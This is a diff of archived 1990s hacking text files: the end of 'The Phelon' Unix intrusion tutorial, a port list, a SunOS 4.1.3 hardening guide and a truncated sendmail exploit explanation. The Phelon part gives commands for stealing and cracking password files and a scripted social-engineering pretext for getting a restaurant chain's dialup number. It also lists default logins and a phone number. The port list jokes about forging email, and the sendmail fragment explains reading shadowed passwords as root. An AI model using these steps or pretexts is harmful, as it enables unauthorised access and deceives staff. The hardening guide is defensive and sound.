but once you're in...
OK, say you managed to get your bumbling butt to a $ prompt or even
better (and even more unlikely - heheh) a # prompt then here is what you do.
TO START OUT:
get the passwd file
turn on your term program's capture
<start>
$ypcat passwd
<whole bunch of passwd shit should scroll down the screen>
once it's done turn off the capture and save the buffered file. or whatever.
if THAT didn't work, then type
<start>
$sz passwd
<download starts>
this is even more unlikely to work... but it does work surprisingly often.
ok now assuming you have the passwd file you go get a lame cracking
program like crack or crackerjack and run it over the passwd file with a
zillion wordlists, and of course, data from the GECOS fields. More advanced
hacking comes later, for now get the accts and be happy until you reach
the next section in this file concerning this.
BUT WAIT A MINUTE! I never got in!
ok say that the system you are trying to crack is super tight and is
harder than a sonofabitch to get into. my first advice would be to leave
it alone. however, if not then continue to the advanced section and try
out the techniques described there.
OK here we go with more intermediate hacking..
ok say you want to find out all you can about a certain system. the first
thing you should do is 'telnet <hostname> 79'.. this will telnet you to
port 79 of the target un*x. Basically what this will do is show you who
is logged on and a bunch of info about them. (oh, i should mention that
a *lot* of systems have this little feature blocked..;).. but if you know the
name of someone on the system you can still finger them remotely by using
"finger user@host".. pretty elementary shit. OK another telnet port you
should know about and use actively is 25. this will show you the version
of everyone's fave prog, sendmail! heheh.. look for a good file written
by i forget who bearing the title of sendmail.. this file has lots
of good exploits for the beginning to intermediate unix hacker. :)
**HEY! I TRIED USING A PASSWD CRACKING PROG, BUT NOTHING WORKS! THE
GECOS FIELDS ARE JUST FILLED WITH AN "X" or "*" WHERE THE ENCRYPTED PASSWD IS
SUPPOSED TO BE!!!
well calm down.. this is something called passwd shadowing, and to overcome
it you will need either a program like unshad.c, shadowpw.c, etc etc., that
will deshadow the passwd file so you can crack it or whatever. or you
can write one for yourself...
oh yeah, i almost forgot. here are some basic commands in unix..
ls - lists directory. often used arguments are -al (all) and
-alF (all + hidden.)
sz - send zmodem
rz - receive zmodem. up a trojan horse. ;)
chmod - change file permissions.
chown - change file ownership
finger - finger a user
fortune - your fortune. heheheh
telnet - telnet
gopher - gopher
lynx - lynx (unix's shitty version of a web browser.)
irc - irc
setenv (BSD, SysV) change environment variables such as your
IRCNAME, etc.
declare -x (Linux) pretty much the same as setenv but for linux
more < <filename> best way of reading a file (unless it's the passwd
file in which case it doesn't show you the whole thing.)
ftp - ftp
lp - print
cu - dialout
makefile - compile a prog
su - use it to try to hax root. <g>
setuid - set your user id shell
rm - delete a file
cd - change directory
rmdir - remove a dir
mkdir - make a directory
mv - move or rename a file
vi - vi txt editor
trn/tin/slrn - news readers
elm - text editor
emacs - text editor
oh and that other thing.. the tacobell unices.
TACO BELL is a funny place to hack. i mean come on.. taco bell. the
security *always* sux! so anyways...
1) find the store #. this is accomplished by kalling your local taco hell
and saying:
"I am Joe Schmoe the taco bell hoe and i need to speak to your manager."
then when u are talking to the manager:
"yeah, i need to know your store #"
then they will say some shit or other and usually they will be cooperative.
ONCE you have the store #, what you do is dial THIS #:
*1.800.sos.taco*
now once you dial this # u will be presented with a series of automated
voice questions, etc, etc, bullshit yada yada so on and so forth. just keep
pressing whatever sounds relevant (like 1, for computer stuph) until you get
a voice. ONCE you have the voice:
sucker: "yes, can i help you?"
you: "yes, my name is bill clinton, and i'm the social engineer for the local
branch of taco bell. we were having problems connecting to our computer, and
were wondering whether what # we were supposed to dial."
sucker: "ok, hangon a second. what is your store #?"
<this is where you give the sucker the store # you obtained from dialing
up your local store.>
sucker: "ok, that's <NPA>, right? the number is XXX-XXXX"
you: "ok, thanks a lot!"
sucker: "is that all the information you needed?!"
you: "yeah, turns out we were dialing the wrong number. oops. heh."
sucker: "heheh yeah that is kind of funny."
you: "sure is. well thanks for the information, and tell your wife she
gives great head. bye."
<click>
(for the people out there who hang on #hack, some of that stuff you
quite obviously wouldn't, and shouldn't, really say. <g>)
NOW you dialup the number the sucker gave you...
once you are connected you will see the usual taco bell bullshit.
you can login with either:
tacobell/ no password
rgm/rollout
and then once you're in just phuxor around or have a truckload of beans
shipped to your enemy's house or whatever you feel like doing.
for all the ppl in 612 here is the taco bell dialup for that ac:
888-5411
--------------------------
well anyway that's about it .. this was a lame text phile written in
the middle of a class in skool (no joking i am supposed to be typing up
some shit about the civil war. heheh) so catch me on irc (i'll probably
be banned from all the channels..heh) look for phelon and remember...
"paranoia is a state of perfect awareness"
check for these other fine files written by the phelon
PHELON2.UNX (intermediate unix hacking), PHELON3.UNX (advanced unix hacking),
PHELON.VMS, PHELON.CBI, PHELON.DEF (system75/definity), PHELON.PWS
Error 23 - 612-869-2119 - sysop Bandon - looks like a normal
gamer board, all the kewl stuff is hidden deep in the heart
of the hard drive.. prove yourself for access to the secret areas!
phuck all warez d00dz and k)dez kidz and fedz and the lamers on #hack.
thanks and hellos to deadfall, unslider, and bandon - these guys are truly
elite and have helped me out a ton.
also hello to mara and spyder.. <g>, and everyone else who i
would have remembered if i really gave a fuck about them one way or
another...hehehe j/k, and that's REALLY the end of this fine text, cuz
the bell is ringing. adios...
- The Phelon
<hack>
<Sinful Seven>

50
textfiles.com/hacking/UNIX/ports.txt Normal file
View File

@@ -0,0 +1,50 @@
Port number Service Why it's phun!
7 echo Whatever you type in, the host repeats back to you
9 discard Dev/null -- how fast can you figure out this one?
11 systat Lots of info on users
13 daytime Time and date at computer's location
15 netstat Tremendous info on networks
19 chargen Pours out a stream of ASCII characters. Use ^C to stop.
21 ftp Transfers files
23 telnet Where you log in.
25 smpt Forge email from Bill.Gates@Microsoft.org.
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login
who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging
520 route Routing information protocol

8710
textfiles.com/hacking/UNIX/secdoc.hac Normal file
View File

File diff suppressed because it is too large Load Diff

691
textfiles.com/hacking/UNIX/securesu.txt Normal file
View File

@@ -0,0 +1,691 @@
My appologies for taking so long with this it became much larger than
I'd though it would.
Please Note:
1) My intent in this was to limit my audience enough so that
this document would not become too large and cumbersome.
Please note the intended audience.
2) This document is sure to undergo revision, and I hesitate to
ever call any revision a final draft.
3) Please forgive any typo's and gramatical errors. It's late
and I wanted to get this out on a day other than Friday.
Send me notes of typos and spelling directly don't bother
the rest of the net with such.
4) I'll try to post when I'm able to put this list up on our
ftp server ftp.Hawaii.Edu:/pub/security.
Again many thanks to all those who provided feedback.
I'm not sure where the other lists are but here's what I've got,
please let me know if it's of help:
----------------------------------------------------------------------
How to improve security on a newly installed SunOS 4.1.3 system.
Version 1.0 Thomas M. Kroeger - July 94
tmk@hawaii.edu
Copyright -- Thomas M. Kroeger - July 94
Please feel free to redistribute or include this list or parts of it
wherever you desire, but, please include appropriate citation.
Goal -
Attempt to provide a list of some of the more basic steps that
can be done to improve security on a newly installed SunOS 4.1.3 system.
This is by no means an all inclusive list of actions, just a list of
some simple and more common measures.
Intended Audience -
Anyone responsible for the system administration duties of a machine
running SunOS 4.1.3. These recommendations applicable to a stand-alone *
workstation. It is assumed that the reader has some familiarity with basic
system administration (you should be able to do a basic system installation
by yourself, install patches, and use an editor).
[* which may be connected to a larger network?]
NOTE: This list limits it's coverage to measures that can
be done for a stand-alone workstation addition to the steps listed here
there are many measures that can be taken to improve the security of
an enviornment, measures such as; filtering traffic to port 2049/udp
at the routers will prevent NFS calls from outside your domain.
Disclaimer ---
These recommendations come with no guarantees of anything! Support is only
offered within the University of Hawai'i community.
The truly paranoid may wish to these implement these recommendations while in
single user mode as an extra measure of security to avoid possible subversive
shenannigans by a wily cracker.
To Do on a system Just installed
------------------------------
Patches --
+ install the following patches
4.1.3 Security listing
100103 SunOS 4.1;4.1.1;4.1.2;4.1.3: script to change file permissions
100173 SunOS 4.1.1/4.1.2/4.1.3 : NFS Jumbo Patch
* 100224 SunOS 4.1.1,4.1.2,4.1.3: /bin/mail jumbo patch
100257 SunOS 4.1.1;4.1.2;4.1.3: jumbo patch for ld.so, ldd, and ldconf
100272 SunOS 4.1.3: Security update for in.comsat.
100296 SunOS 4.1.1, 4.1.2, 4.1.3: netgroup exports to world
100305 SunOS 4.1.1, 4.1.2, 4.1.3: lpr Jumbo Patch
100372 SunOS 4.1.1;4.1.2;4.1.3: tfs and c2 do not work together
* 100377 SunOS 4.1.1, 4.1.2, 4.1.3: sendmail jumbo patch
* 100383 SunOS 4.0.3;4.1;4.1.1;4.1.2;4.1.3: rdist security and hard link
100448 OpenWindows 3.0: loadmodule is a security hole.
100452 OpenWindows 3.0: XView 3.0 Jumbo Patch
100478 OpenWindows 3.0: xlock crashes leaving system open
* 100482 SunOS 4.1;4.1.1;4.1.2;4.1.3: ypserv and ypxfrd fix, plus DNS fi
100507 SunOS 4.1.1, 4.1.2, 4.1.3: tmpfs jumbo patch
100513 SunOS 4.1.1;4.1.2;4.1.3: Jumbo tty patch
100564 SunOS 4.1.2, 4.1.3: C2 Jumbo patch
* 100593 SunOS 4.1.3: Security update for dump.
100623 SunOS 4.1.2;4.1.3: UFS jumbo patch
100630 SunOS 4.1.1, 4.1.2, 4.1.3: SECURITY: methods to exploit login/su
100631 SunOS 4.1.x: env variables can be used to exploit login(US only)
* 100632 SunSHIELD 1.0: ARM jumbo patch release
100890 SunOS 4.1.3: domestic libc jumbo patch
100891 SunOS 4.1.3: international libc jumbo patch
100909 SunOS 4.1.1;4.1.2;4.1.3: Security update for syslogd.
101072 SunOS 4.1.1;4.1.2;4.1.3: Non-related data filled the last block
101080 SunOS 4.1.1 4.1.2 4.1.3: security problem with expreserve
101200 SunOS 4.1.1, 4.1.2, 4.1.3: Breach of security using modload
101206 ODS 1.0; NFS/fsirand security fix.
* 101480 SunOS 4.1.1;4.1.2;4.1.3: Security update for in.talkd.
* 101482 SunOS 4.1.3, 4.1.2, 4.1.1: Security update for write.
101640 SunOS 4.1.3: in.ftpd logs password info when -d option is used.
101710 ONLINE DISKSUITE (ODS) 1.0: Security update for dump.
4.1.3 U1 security listing
101434 SunOS 4.1.3_U1: lpr Jumbo Patch
* 101435 SunOS 4.1.3_U1: ypserv fix
* 101436 SunOS 4.1.3_U1: bin/mail jumbo patch
101440 SunOS 4.1.3_U1: security problem: methods to exploit login/su
101558 SunOS 4.1.3_U1: international libc jumbo patch
* 101579 SunOS 4.1.3_U1: Security problem with expreserve for Solaris 1.
101587 SunOS 4.1.3_U1: security patch for mfree and icmp redirect
101590 ONLINE DISKSUITE (ODS) 1.0, NFS/fsirand security fix
101621 SunOS 4.1.3_U1: Jumbo tty patch
* 101665 SunOS 4.1.3_U1: sendmail jumbo patch
101679 SunOS 4.1.3_U1: Breach of security using modload
101759 SunOS 4.1.3_U1: domestic libc jumbo patch
* - Note: some patches may not be required if you are disabling this
feature. If this is the case, ensure that all relevant files have had
their mode changed to remove the SUID bit -- chmod u-s <file>.
Note 2: Some patches may not necessarily apply based on packages
installed (US Encryption...) or your configuration. Please carefully
check the README for each patch.
Patches are available via anonymous ftp from
ftp.uu.net:/system/sun/sun-dist
Network level changes -------
+ Disable source routing
Why:
Source routing enables the originating host to dictate the route the
packet will take. This can be used to spoof a system into believing
that the packets are coming from a trusted source.
How:
Install patch found in Ref. 19
More info: Ref. 2 [Cheswick 94] Chap 2, Ref. 19
+ Comment out all unnecessary services in /etc/inetd.conf
Why:
RPC services can be used to gain access as well as information about
a system. These are very site specific adjustments and will have to
be tailored to your needs. Additionally, TCP wrappers [Ref. 4] can be
used to improve loging, prevent IP spoofing (one host pretending to be
another to gain access) and limit access to a service as well as
totally removing it.
How:
Edit file /etc/inetd.conf and put a # in front of services that
are not needed.
Services possibly needed, but probably desired:
ftp - possible needed for file transfer, however if all you
want is outgoing ftp then this is can be commented out.
telnet - obvious (recommend restricting with TCP wrappers Ref. 4)
finger - Possibly but better to get a modified version that doesn't
give up that much information (To be honest I have no
experience with any of these I'd recommend checking into
some of the ones on ftp.uu.net).
talk - nice to have but how much will you miss it?
Services which are probably unnecessary - see man pages for details
name - for name services (man tnamed)
comsat - for mail - not necessary.
login - for rlogin - please see discussion under ruserok().
uucp - if you aren't sure if your using this then you are not.
exec - services for rexecd - do without.
Services recommended against - FIND A WAY TO LIVE WITHOUT.
shell - for rsh -- major source for security problems
tftp - only needed for support of an X terminal or diskless
clients, doubtfully needed on a desktop machine.
More info: Ref. 4 [Venema 92]., Ref. 15
+ Enable NFS port monitoring (This is of value only if you are exporting
filesystems over NFS)
Why:
Port monitoring ensures that calls to NFS to mount a file system come
from a port < 1024 (in other words, a port that requires root
access to use).
How:
The default /etc/rc.local sets up port monitoring only if the file
/etc/security/passwd.adjunct exists. If you will be implementing
shadowing then you can skip over this step. If you will not be
implementing shadowing and you will be exporting files then you should
modify /etc/rc.local to do the following 2 lines: (regardless of
whether the passwd.adjunct file exists):
echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem > /dev/null 2>&1
rpc.mountd
Shadowing is covered under the section Changes to ID Management.
Note: one possible side effect: non-sun nfs client might not
be able to mount exported files.
More info: Ref. 3 [Stern 92] pg 177 & mountd(8C)
+ Ensure that ypbind is started with the -s option.
Why:
Users could easily start thier own ypbind services and activate a
phony NIS database giving them access as any user.
How:
As with port monitoring the default /etc/rc.local sets up ypbind in the
secure mode (-s option) only if the file /etc/security/passwd.adjunct
exists. If you will be implementing shadowing then you can skip over
this step, overwise you should modify /etc/rc.local to start ypbind
with the -s option regardless of whether the passwd.adjunct file exists.
More info: ypbind(8)
+ Disable IP forwarding -
Why:
I'm not sure if this can be abused on a machine with only one interface
but I'd rather err of the side of safety. It could be used to spoof
an IP address.
How:
Install the following line in the kernel configuration file:
options "IPFORWARDING=-1"
For info on how to custom configure a kernel, see the file
/usr/sys/`arch`/conf/README.
Kernel changes -------
+ modify ruserok() in /usr/lib/libc.so.1.8 (9 on 4.1.3 U1) to disable:
- root .rhosts authentication, wildcards in .rhosts, or
.rhosts entirely depending on the level of security you want.
Why:
ruserok() is a library routine that does the checking of both the
.rhosts and /etc/hosts.equiv files for all the r commands.
a) ruserok() uses the source IP address in the rpc request for
authentication. There are no guarantees that this address is correct.
This address can easily be spoofed, yielding illegitimate access to
a system.
b) Crackers will often insert +'s into users' .rhosts file
to allow them to gain access at a latter date. Most users
don't look at their .rhosts file too often.
Note: While using .rhosts prevents crackers from sniffing your users'
passwords, it also make them vulnerable to IP spoofing (claiming
to be a host that you're not) it becomes a matter of preference
what level of protection you'd choose here.
How:
To modify the source code requires a source code license.
At Univ of Hawaii, modified version of libc.so.1.8 should be
available though the systems group.
For those who wish to create thier own modified version of ruserok()
please see the section at the end that describes some of the details
for creating a custom libc.so.
Additionally the logdaemon package Ref. 15 has a modified version
of libc.so that helps with this. This site also has BSD sources
for the ruserok() routine.
Finally TCP wrappers can also be used to restrict access to each
individual r command. Ref. 4
More info: ruserok(3), hosts.equiv(5),
source code file /lib/libc/net/rcmd.c, Ref. 4, Ref. 15
Filesystem change----------
+ create the file /etc/ftpusers
Why:
This file is a list of users that will not be allowed to access the
system via ftp. This prevents Joe Cracker from using ftp to
modify a file (such as /etc/passwd) if he is able to determine your
root password.
How:
create the file /etc/ftpuser with the following entries (one per line):
root, nobody, daemon, sys, bin, uucp, news, ingres, AUpwdauthd,
AUyppasswdd, sysdiag, sundiag, and any other ID's that exist that
you don't want to allow ftp access.
More info: man ftpusers(5)
+ Remove the + in /etc/hosts.equiv
Why:
Well..... Everyone gains access with this.
Note: This file should not have any comment lines.
More info: hosts.equiv(5)
+ edit /etc/exports remove all entries you don't want exported.
- ensure whatever entries remain have restricted access
Why:
NFS leaves the normal file system protection up to the client
instead of the server. Acracker with root access on a client can
work around many of these protections. As a result filesystems
exported to the world are particularly vulnerable.
How:
Edit the file /etc/exports
1) Only export what you need to export. If you aren't certain that
it needs to be exported, then it probably doesn't.
2) Never export to the world. Use a -access=host.foo.bar.edu option.
3) When ever possible export the file systems read-only. option ro
You can use showmount -e to see what you currently have exported.
More info: exports(5), exportfs(8), showmount(8)
+ Install random number inode generator on filesystems fsirand
Why:
Predicable root handles assists crackers in abusing NFS. After
installing the patch for fsirand you'll need to run fsirand for
all your filesystems.
How:
Ensure the filesystem is unmounted and run fsirand.
More info: fsirand(8), SunOS patch 100173 (NFS Jumbo)
+ nosuid in mounts
Why:
Use the nosuid option when adding entries to /etc/fstab to mount a
filesystem exported by another host. Anyone gaining access to the
other host can create or modify an existing program which could
compromise your system. Note: this doesn't work on tmpfs filesystems.
How:
Include the nosuid when you add an entry to /etc/fstab to import
a filesystem.
More info: Ref. 3 [Stern 92] pg. 175 fstab(5)
+ Edit /etc/ttytab to remove the secure option from all entries.
Why:
The secure entry in /etc/ttytab allows logins directly to root on that
tty. If you feel that your machine is not in a physically secure
location, you may choose to remove the secure option from the
console as well.
More info: ttytab(5)
+ Set eeprom secure field to command or full -
Why:
If you feel that your machine is not in a secure location, then
the eeprom field secure can be used to prevent unauthorized root
access by crashing your machine. Note: with the full option the
system will not auto-reboot and will wait for the root password to
be entered.
More info: eeprom(8)
+ chmod 600 /dev/eeprom -
Why:
Prevents users from reading the eeprom passwd.
More info: eeprom(8)
+ Remove openprom support if you do not intend to use the eeprom
secure field.
Why:
A cracker who gains root access could install an eeprom password and
make your life a bit harder.
How:
Remove the device driver from the kernel by commenting out
the following:
# The "open EEPROM" pseudo-device is required to support the
# eeprom command.
#
pseudo-device openeepr # onboard configuration NVRAM
More info: eeprom(8)
+ Uncomment security options in frame buffer table file /etc/fbtab
Why:
Without these entries ownership of console devices will not be properly
set.
More info: fbtab(5)
+ add umask 022 to /etc/rc & /.login
Why:
Prevent key files created during startup and root operation from
being created world writeable. Note you may want to set umask in
/.login to 077 instead of 022
More info: umask(1), rc(8)
+ chmod go-w /etc/* ; chmod g+w /etc/dumpdates
Why:
None of these file in /etc should require write access
by world except for dumpdate, which requires group write access.
More info: chmod(1), aliases(5), state(5), utmp(5V), remote(5), rmtab(5)
+ edit /etc/rc.local to comment change part that chmod's 666 motd
Why:
/etc/motd is the normal system's message of the day; it won't
allow people to gain root access, but it could be a nuisance if they
can change this anonymously. Additionally it is important to
ensure that the line "rm -f /tmp/t1" is at the begining of this part.
+ Chmod u-s the following files unless you specifically use them:
Why:
Changing the modes for those file which you will not be using
helps prevent would be crackers from exploiting unknown security
flaws in these files which could be used to compromise your system.
/usr/bin/cu /usr/bin/tip /usr/bin/fusage
/usr/bin/nsquery /usr/bin/uucp /usr/bin/uuname
/usr/bin/uustat /usr/bin/uux /usr/ucb/rcp
/usr/ucb/rdist /usr/ucb/rlogin /usr/lib/uucp/uusched
/usr/lib/uucp/uuxqt /usr/ucb/rsh /usr/lib/uucp/uucico
/usr/games/hack /usr/games/chesstool /usr/games/fortune
/usr/lib/exrecover /usr/games/robots /usr/lib/uucp/remote.unknown
/usr/games/hack /usr/games/snake /usr/bin/sunview1/sv_release
/usr/etc/rfsetup
/usr/bin/allocate - used with C2 security.
/usr/ucb/quota - used with disk quotas
/usr/lib/expreserve - used to recover edit session that died.
Following may only be needed to be run by user root; as such, they would
not need to be SUID root:
/usr/etc/shutdown /usr/lib/acct/accton
More info: lots of man pages ;-)
+ chmod g-s the following file unless you specifically use them:
Why:
Changing the modes for those file which you will not be using helps
prevent would be crackers from exploiting unknown security flaws
in these files which could be used to compromise your system.
/usr/bin/wall /usr/etc/trpt /usr/bin/sunview1/toolplaces
/usr/bin/iostat /usr/bin/ipcs /usr/ucb/vmstat
/usr/ucb/netstat /usr/etc/arp /usr/etc/dmesg
/usr/etc/dkinfo /usr/etc/chill /usr/etc/dumpfs
/usr/etc/devinfo /usr/etc/nfsstat /usr/old/perfmon
/openwin/bin/xload /usr/kvm/pstat /usr/kvm/crash
/usr/kvm/getcons /usr/etc/kgmon /usr/etc/trpt
More info: lots of man pages ;-)
+ edit syslog.conf -- uncomment auth & mail lines
Why:
The enables improved loging of logins and su's be prepared for lots of
data.
More info: syslog.conf(5)
+ chmod 640 /vmunix; chgrp kmem /vmunix ;
Why:
Prevent crackers from finding out more about your kernel configuration.
Changes to ID management ------
+ Disable SUID passwd (if using NIS) or -F option in /bin/passwd
Why:
Here two options exist:
1) you are using NIS for your user database; so you don't need
/bin/passwd (and the two hard links to it /bin/chfn & /bin/chsh)
to be SUID root.
2) You will have local entries in your /etc/passwd that you would
like to be able to change thier own passwd. Then please note that
/bin/passwd has a race condition that can be exploited to write to
files as root, allowing a cracker to gain root access.
In either case yppasswd (and ypchfn & ypchsh) does not need to
be SUID root.
How:
In all cases - cd /bin; chmod u-s yppasswd ypchfn ypchsh
Option 1 - cd /bin; chmod u-s passwd chfn chsh
Option 2a - Replace passwd with a proactive (check for bad passwds)
passwd program. Ref 7.
Option 2b - Do a binary edit of passwd (sun's code) as shown below:
# cd /bin
# cp passwd passwd.old; chmod 700 passwd.old
# adb -w - passwd
not core file = passwd
/l 'F:'
0x68de This address is required in the following step:
0x68de/w 0
0x68de: 0x463a = 0x0
<CTRL-D>
# chmod 4711 /bin/passwd
Note: The following files should all contain the same code, and
be SUID root (unless chmod u-s was done above). If you intend
to use any of these, ensure they are a link to the modified
file /bin/passwd: yppasswd, ypchfn, ypchsh, chfn, chsh.
More info: Ref. 6 [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX
+ remove ID sync:::
Why:
This ID is created to enable the admin to sync the file system before a
system crash. It defaults without and password, and can be abused to
gain access to the system. The simplest solution is to live without
this feature and remove this ID.
More info: passwd(5)
+ Implement shadowing
Why:
To restrict access to all users' encrypted passwords. Even though
passwords are encrypted, Crack (a publicly available program) can
be used to effectively guess users' passwords.
How:
This can be done two different ways:
1. by implementing Sun's C2 security package, which
provides additional auditing. I've found that this auditing can be
troublesome to maintain and I didn't have need for the extensive data.
2. the second option is to implement shadowing but not C2, this
procedure is fully explained in detail in Ref. 5. In short:
- ensure patch 100564 is installed, (note this also implements
securenets for NIS)
- split /etc/passwd into /etc/passwd & /etc/security/passwd.adjunct
- split /etc/group into /etc/group & /etc/security/group.adjunct
- add required Audit users (even if not implementing auditing)
- comment out the part of rc.local that starts audit
- reboot.
The existence of the file /etc/security/passwd.adjunct has several
other effects in rc.local that improve system security; (ypbind -s
and rpc.mountd without -n).
More info: Ref 5
+ ensure all ID's have passwd
Why:
Any ID without a password provides open access to your system,
Root comes without a password.
More info: passwd(5)
Modify mail system -----
Why:
The sendmail program itself has been notorious for numerous bugs that
gave crackers root access illegitimately. This is a huge topic and
should be a paper or book in itself. I claim no expertise here, and
to my great fortune my sendmail experience is limited. ;-)
There are several different possible configurations and options
I'll outline them and point you to further References.
Host configuration:
1. If you intend to send and receive mail directly on your machine.
Options are:
a. Live with sendmail - install the newest version 8.6.9 (currently)
- ensure a mail file is always in existence for all users
Ref.10 &11.
- "chmod u-s /bin/mail" and change sendmail to use "procmail"
or mail.local Ref. 17
Ref.where to get???
- change sendmail default UID in sendmail.cf to 65534 "Ou65534"
- turn on security features of sendmail:
"Opauthwarnings needmailhelo noexpn novrfy restrictmailq"
Refs. 2 [Cheswick & Bellovin 94] & 9 [Costales 93]
b. Install zmailer -- Ref 8 [URL to zmailer package]
- zmailer does not use /bin/mail so chmod u-s /bin/mail
2. If mail for your host is received on a different host (ie. local mail
delivery is handled by another host). Here your system should only
need to support outgoing mail. To prevent the sendmail daemon from
being started comment out the part or /etc/rc.local that starts
sendmail. For outgoing mail:
a. install latest version of sendmail.
- see config 1 for thing to change in sendmail config.
- since mail delivery is being handled by main mail host
there is no need for /bin/mail so - chmod u-s /bin/mail
b. Install zmailer -- Ref 8 [URL to zmailer package]
- zmailer does not use /bin/mail so chmod u-s /bin/mail
3. No need for mail whatsoever on this machine
(incoming, outgoing, or internal).
This is certainly most secure mode because e-mail will not be able to
be sent from or to this machine. This basic restriction of outside
access will prevent abuse of that access.
How:
To disable mail totally:
- chmod u-s /usr/lib/sendmail & /usr/lib/sendmail.mx & /bin/mail
- comment out the part of rc.local that starts sendmail
Packages to enable better monitoring and security:
------------------------
+ tripwire - Ref.13.
- Include all suid & sgid file in config.
- I've modified COPS script to check this with every run, awaiting
response from Dan Farmer if he minds my releasing script.
+ tcp wrappers - Ref.4.
+ Cops - Ref. 14
- Set up to run each night - be careful to check the
bitbucket output to ensure that it is working properly.
+ Modified portmapper, login, rshd, rlogind, pidentd from W. Venema
Ref. 15
+ TAMU tiger scripts - Ref. 16.
Note: the Australian group SERT has put together a package called
MegaPatch that includes several of these packages as well as many
of the patches to SunOS previously mentioned. Ref. 18
References
----------
[1] Dan Farmer & Wietse Venema, "Improving the security of your Site by
Breaking Into it", 1993.
URL:ftp.win.tue.nl:/pub/security/admin-guide-to-cracking.Z
[2] W. Cheswick & S. Bellovin, "Firewalls and Internet Security," Addison-
Wesley, April 94.
[3] H. Stern, "Managing NFS & NIS", O'Reilly & Associates, April 92
[4] Wietse Venema, "TCP WRAPPER: Network monitoring, access control and
booby traps," Proceedings of the Third Usenix Unix Security Symposium,
pg 85-92.
URL:ftp.win.tue.nl:/pub/security/tcp_wrapper.ps.Z (paper - .txt.Z avail)
URL:ftp.win.tue.nl:/pub/security/tcp_wrappers_6.3.shar.Z (package)
[5] Eric Oliver, "How to shadow without C2 Auditing", June 94
URL:ftp.Hawaii.Edu:/????????
[6] [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX
[7] Proactive password changing programs
(There are several this is the only one who's URL I had available)
URL:info.mcs.anl.gov:/pub/systems/anlpasswd-2.2.tar.Z
[8] Zmailer package -
URL: cs.toronto.edu:/pub/zmailer.tar.Z
/pub/zmailer.README
[9] Bryan Costales, Eric Allman & Neil Rickert, "Sendmail,"
O'Reilly & Associates, June 93
8lgm advisories are avaiable though the 8lgm file server -
8lgm-fileserver@bagpuss.demon.co.uk
[10] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
[11] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992.PATCH
[12] [8lgm]-Advisory-6.UNIX.mail2.2-May-1994
[13] Tripwire - Gene Kim & Gene Spafford 1994
URL:ftp.cs.purdue.edu:/pub/spaf/COAST/Tripwire
[14] Cops - Dan Farmer & Gene Spafford 1990
URL:ftp.cert.org:/pub/tools/cops
[15] portmapper, login, rshd, rlogind - Wietse Venema
URL:ftp.win.tue.nl:/pub/security/portmap.shar.Z
URL:ftp.win.tue.nl:/pub/security/logdaemon-XX.tar.Z
[16] TAMU tiger script. - Safford et al 93
URL:net.tamu.edu/pub/security/TAMU
[17] Local mail delivery agents:
URL:ftp.informatik.rwth-aachen.de:/pub/packages/procmail
URL:ftp ---- ????? mail.local Joerg Czeranski
[18] MegaPatch - SERT
URL:ftp.sert.edu.au:/security/sert/tools/MegaPatch.1.7.tar.Z
[19] Source Routinng Patch -
URL:ftp.greatcircle.com:/pub/firewalls/digest/v03.n153.Z
Acknowledgements:
Thanks to all the people in comp.security.unix who offered their
suggestions, and thanks to the following people for their kind review:
casper@fwi.uva.nl (Casper Dik)
baron@uhunix.uhcc.Hawaii.Edu (Baron K Fujimoto)
rgoodman@uhunix.uhcc.Hawaii.Edu (Becky Goodman)
newsham@uhunix.uhcc.Hawaii.Edu (Tim Newsham)
andys@unipalm.co.uk (Andy Smith)
------ Other Thoughts for future development & other ---
Didn't have enough time to do these as well as I'd like.
+ disable routed (standard routing table)
Prevents receiving a false routing table.
+ remove /dev/nit?
+ Customizing ruserok() - a bit beyond the basics but here's some info:
If you have source license to 4.1.3 modify the routine
ruserok() to return -1 for the cases you wish to disallow.
To disable .rhosts authentication entirely, simply have this routine
return -1. Look at the file /usr/lib/shlib.etc/README for how to modify
libc.so, note: also make the following changes:
in the file /usr/lib/shlib.etc/README below the line
% mv rpc_commondata. rpc_commondata.o
insert
% mv xccs.multibyte. xccs.multibyte.o
in the Makefile:
change the lines below to read as they do here:
OBJSORT=/usr/lib/shlib.etc/objsort
AWKFILE=/usr/lib/shlib.etc/awkfile
and add the -ldl option at the end of both ld command lines.
More info: ruserok(3), hosts.equiv(5)
source code file /lib/libc/net/rcmd.c Ref. 4, Ref. 15
--
tmk
-----------------------------------------------------------------------
Tom M. Kroeger Pray for wind
University of Hawaii Computing Center \ Pray for waves and
2565 The Mall, Keller Hall |\ Pray it's your day off!
Honolulu HI 96822 (808) 956-2408 |~\
e-mail: tmk@uhunix.uhcc.hawaii.edu |__\
,----+--

4357
textfiles.com/hacking/UNIX/security.txt Normal file
View File

File diff suppressed because it is too large Load Diff

75
textfiles.com/hacking/UNIX/sendmail.fun Normal file
View File

@@ -0,0 +1,75 @@
11
Subj: Re: passwd file (11/34)
From: Root #1
To : Lord Balif #10
Date: Mon, Jan 16, 1995 7:03:53 AM
LB> root:x:0:1:0000-Admin(0000):/:
This is an example of a "shadowed" passwd file. The file is world readable and
exists to provide user information for fingering a particular user -
Login name: root Real name: 000-Admin(0000)
Directory: / Shell: ???
Plan:
No Plan
The actual encypted passwd for user 'root' is in one of two places most
likely.. either in a restricted security directory ('/etc/security/passwd') or
in a special passwd file called master.passwd ('/etc/master.passwd').
ExchangeNET uses the latter format, for instance.
Your job as a UNIX hacker is to somehow trick the host computer into letting
you read the restricted passwd file which contains encrypted passwds. On
obtainting this file, you would run a UNIX passwd cracker on the passwd file.
<pause> The problem is, the unshadowed passwords are most likely in a file that most
users cannot access -- owned by user 'root' and group 'wheel' for instance,
with a file mode of 600 ('-rw------- root wheel 58472 passwd'). You will need
to use a program that your host runs that is allowed to access this file and
have it send the file to you.
Classically, sendmail ran under root's user id (0) and could read this file.
An old bug in sendmail could be employed to execute commands as root, thus
providing a gaping vulnerability for becomming a root user to anyone who could
access sendmail. In the classic example, getting the shadowed passwd file
could be done like this:
REPEAT BY:
% telnet localhost 25 <-- your site's sendmail port
